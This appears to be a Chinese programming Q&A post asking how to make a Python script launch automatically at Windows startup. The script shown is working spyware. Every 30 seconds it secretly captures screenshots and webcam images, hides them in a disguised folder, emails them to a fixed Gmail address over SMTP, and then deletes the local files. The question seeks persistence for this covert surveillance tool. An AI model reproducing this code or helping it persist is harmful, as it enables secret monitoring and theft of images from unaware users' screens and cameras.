python脚本如何自动运行_如何使python脚本在启动时自行启动?

我写了以下程序,安装成功。现在,我希望我的程序可以在启动时启动,而不必手动将其快捷方式复制到启动文件夹,即C:\Users\User\AppData\Roaming\Microsoft\Windows\Start菜单\程序\启动。

我希望我的程序在启动时自动运行,就像许多商业程序(如uTorrent、InternetDownLoaderManager等)所做的那样。我怎么能这么做?

Python代码:import os

import time

import string

import random

import shutil

import smtplib

import pyautogui

from SimpleCV import Image, Camera

from email.mime.text import MIMEText

from email.mime.image import MIMEImage

from email.mime.multipart import MIMEMultipart

def make_folder(): #Checking if $y$temF0lder exists in C drive

if os.path.exists('C:\\$y$temF0lder'):

pass

else:

os.mkdir('C:\\$y$temF0lder')

os.chdir('C:\\$y$temF0lder')

cam = Camera()

def send_mail(): #Sending captured picture in my email

msg = MIMEMultipart()

fromadd = 'fromadd@gmail.com'

toadd = 'toadd@gmail.com'

msg['From'] = fromadd

msg['To'] = toadd

msg['Subject'] = 'Photos'

text = MIMEText('Pic')

msg.attach(text)

screenshot_data = open(screenshot_name, 'rb').read()

webcam_data = open(webcam_name, 'rb').read()

send_image = MIMEImage(screenshot_data,

name=os.path.basename(screenshot_name))

send_images = MIMEImage(webcam_data, name=os.path.basename(webcam_name))

msg.attach(send_image)

msg.attach(send_images)

sessions = smtplib.SMTP('smtp.gmail.com', '587')

sessions.ehlo()

sessions.starttls()

sessions.ehlo()

sessions.login(fromadd, 'P@ssword')

sessions.sendmail(fromadd, toadd, msg.as_string())

sessions.quit()

def main():

global screenshot_name

global webcam_name

while True:

make_folder()

name = ''

for i in range(10): #Generating random name of 10 character long

x = random.randint(0,62)

name += string.printable[x]

screenshot_name = 'Screenshot ' + name + '.png'

webcam_name = 'Webcam ' + name + '.jpg'

screenshot = pyautogui.screenshot()

screenshot.save(screenshot_name)

web_pic = cam.getImage()

web_pic.save(webcam_name)

send_mail()

for file in os.listdir('C:\\$y$temF0lder'):

os.remove(file)

time.sleep(30)

shutil.rmtree('C:\\$y$temF0lder')

if __name__ == '__main__':

main()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值